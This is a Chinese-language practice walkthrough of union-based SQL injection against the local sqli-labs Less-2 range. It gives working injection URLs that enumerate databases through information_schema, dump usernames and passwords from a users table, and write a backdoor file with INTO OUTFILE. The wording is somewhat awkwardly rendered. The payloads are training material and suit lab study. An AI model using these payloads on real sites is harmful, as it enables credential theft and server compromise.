正式开始实验,
打开靶场网址:http://127.0.0.1/sqli-labs/Less-2利用order by 初步判断列数,order by 4 页面会报错,解释表的列数小于43. 利用union 联合查询,让原来的name 和password展示位改为自己的查询结果,这里借助mysql内置的函数:user(),database(),如下图可以知道该网站因此root账户去连接数据库的,解释可能存在跨库注入sql的风险,下一步须要知道该做事器上的mysql支配了什么数据库。
4. 借助mysql information表存储了所有的库和表信息(这是mysql5.0以上才有的),可以获取到所有的库,下图可以查出数据库上所有的库名

5. 假设当前要跨库的目标是pikachu,查询table_name,获取这个pikachu库下所有的表
6.显然看到user这个表,是存储用户信息的,作为目标,先要查询到这个表所有的列名
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,user(),group_concat(column_name) from information_schema.columns where table_schema=“pikachu” and table_name = “users”
7. 现在已经知道了库名、表明、字段名,就可以查询想要的信息了。
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users
8. 利用loadfile 写入后门程序
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1, ‘xxx’ ,3 into outfile ‘D:/phpstudy_pro/Extensions/MySQL5.7.26/1.php’ --+
--+ 是为了肃清后面limit 1 的影响,相称于注释掉。
上面记录了一次sql注入的基本流程,之以是要整理下来,也是为了让自己多熟习这个流程,后续的sql注入实验,大概也按照这个套路流程进行。